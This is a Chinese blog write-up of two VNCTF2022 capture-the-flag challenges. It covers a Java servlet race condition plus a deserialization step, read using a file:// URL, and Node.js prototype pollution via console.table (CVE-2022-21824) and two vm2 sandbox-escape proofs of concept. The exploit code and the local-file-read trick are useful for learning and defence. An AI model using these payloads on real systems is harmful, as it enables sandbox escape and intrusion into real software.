vnctf2022复现

eazyjava
file协议读url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
有用的class

//HelloWorldServlet.class


package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(
        name = "HelloServlet",
        urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
    private volatile String name = "m4n_q1u_666";
    private volatile String age = "666";
    private volatile String height = "180";
    User user;

    public HelloWorldServlet() {
    }

    @Override
    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }

        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
        } else {
            if (Secr3t.check(this.name)) {
                this.Response(resp, "The Key is " + Secr3t.getKey());
            }

        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (Secr3t.getKey().equals(key) && text != null) {
            Decoder decoder = Base64.getDecoder();
            byte[] textByte = decoder.decode(text);
            User u = (User)SerAndDe.deserialize(textByte);
            if (this.user.equals(u)) {
                this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
            }
        } else {
            this.Response(resp, "KeyError");
        }

    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

//Secr3t.class


package util;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang.RandomStringUtils;

public class Secr3t {
    private static final String Key = RandomStringUtils.randomAlphanumeric(32);
    private static StringBuffer Flag;

    private Secr3t() {
    }

    public static String getKey() {
        return Key;
    }

    public static StringBuffer getFlag() {
        Flag = new StringBuffer();
        InputStream in = null;

        try {
            in = Runtime.getRuntime().exec("/readflag").getInputStream();
        } catch (IOException var12) {
            var12.printStackTrace();
        }

        BufferedReader read = new BufferedReader(new InputStreamReader(in));

        try {
            String line = null;

            while((line = read.readLine()) != null) {
                Flag.append(line + "\n");
            }
        } catch (IOException var13) {
            var13.printStackTrace();
        } finally {
            try {
                in.close();
                read.close();
            } catch (IOException var11) {
                var11.printStackTrace();
                System.out.println("Secr3t : io exception!");
            }

        }

        return Flag;
    }

    public static boolean check(String checkStr) {
        return "vnctf2022".equals(checkStr);
    }
}

doGet处要求传入的name第一次判断不为vnctf2022而第二次为vnctf2022才能拿到key
利用Servlet的多线程机制写脚本条件竞争即可

Servlet的多线程机制
Servlet实际上是一个单件,当我们第一次请求某个Servlet时,Servlet容器将会根据web.xml配置文件或者是注解实例化这个Servlet类,之后如果又有新的客户端请求该Servlet时,则一般不会再实例化该Servlet类,这说明了什么呢?简单来说,当多个用户一起访问时,得到的其实是同一个Servlet实例,这样的话,他们对实例的成员变量的修改其实会影响到别人,所以在开发的时候如果没有注意这个问题往往会有一些额安全问题,而往往Servlet的线程安全问题主要是由于实例变量使用不当而引起

拿到key之后需要反序列化一个user类,但有一个属性是transient修饰的
需要重写readObject和writeObject方法进行序列化和反序列化 https://blog.csdn.net/weixin_42653621/article/details/82534820

 // 强行序列化对象属性的方法
    private void writeObject(java.io.ObjectOutputStream s)
            throws java.io.IOException{
    	s.defaultWriteObject();
    	s.writeObject(this.dept);
    }
    //  强行反序列化对象属性的方法
    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
    	s.defaultReadObject();
    	this.dept = (String)s.readObject();
    }

通过实现Serializable接口的,默认是不会序列化transient修饰的属性,除非重写writeObject和readObject两个方法。其实这两个方法就是JVM在执行Serializable接口序列化对象时执行的方法。
如果对象有多个属性都被transient修饰了,例如是empNo和dept,那么在重写writeObject和readObject这两个方法时,一定要注意这两个属性的写入顺序和读取顺序必须保持一直,否则会导致反序列化失败

newcalc0
解法一:
通过console.table()污染(CVE-2022-21824)

console.table([{x:1}], ["__proto__"]);

解法二:
绕过vm污染原型链 https://security.snyk.io/vuln/SNYK-JS-VM2-2309905
也可以看pysnow大佬的复现博客https://blog.csdn.net/not_code_god/article/details/124028028

//PoC 1
// tested on Node.js 16.10.0
const {VM} = require('vm2');

vmInstance = new VM();    

console.log(vmInstance.run(`    
function foo(ref) {
    new Error().stack;    
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {
    set: function () {                        
        foo(this);
        try {      
            obj[0] = 0;
        } catch (e) {
            e.__proto__.__proto__.__proto__.polluted = 'success';            
        }
    }
})
`));
console.log(polluted);
//PoC 2
// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');

vmInstance = new VM();    

vmInstance.run(`
function getRootPrototype(obj) {        
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;    
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);        
}
try {            
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    
        getRootPrototype(this);                
        stack(this);        
        return true;
    }), function functionInvocationAnalysis(r) {        
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {        
        stack(arguments);        
    };    
} catch (e) {    
    getRootPrototype(e).polluted = "success";   
}
`);

console.log(polluted);
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值